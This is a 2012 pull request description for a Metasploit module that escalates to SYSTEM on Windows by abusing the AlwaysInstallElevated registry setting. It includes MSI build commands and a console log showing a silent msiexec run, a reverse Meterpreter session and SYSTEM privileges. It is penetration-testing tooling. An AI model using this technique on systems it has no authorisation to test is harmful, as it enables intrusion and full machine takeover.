rapid7/metasploit-framework — pull request #1099 by Meatballs1 (2012-11-27 18:22:59+00:00)
Title: Windows Local Exploit AlwaysInstallElevated Registry Key

This module checks that the AlwaysInstallElevated registry key is set for the local machine and the current user. If so it uploads and executes an MSI file and payload.exe. The MSI runs under the privileges of SYSTEM and will execute payload.exe when run.

Whilst it would have been nice to create this as a Local exploit writing a library to create MSI files was a bit too much effort!

The MSI can be created using the WIX tool (http://wix.sourceforge.net) simply with
'candle exec_payload.wxs'
'light exec_payload.wixobj'

msf exploit(always_install_elevated) > check

[+] HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[+] HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[+] The target is vulnerable.
msf exploit(always_install_elevated) > exploit

[*] Started reverse handler on 192.168.1.25:5555
[+] HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[+] HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[*] Uploading the MSI to C:\DOCUME~1\norm\LOCALS~1\Temp\DTNMEUGg.msi ...
[*] Uploading the Payload to C:\DOCUME~1\norm\LOCALS~1\Temp\payload.exe ...
[*] Executing MSI...
[*] msiexec.exe /quiet /passive /n /package C:\DOCUME~1\norm\LOCALS~1\Temp\DTNMEUGg.msi
[*] Sending stage (752128 bytes) to 192.168.1.25
[*] Meterpreter session 3 opened (192.168.1.25:5555 -> 192.168.1.25:1395) at 2012-11-22 10:37:45 +0000
[*] Deleting MSI...
[*] Deleting Payload...
[-] stdapi_fs_delete_file: Operation failed: Access is denied.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >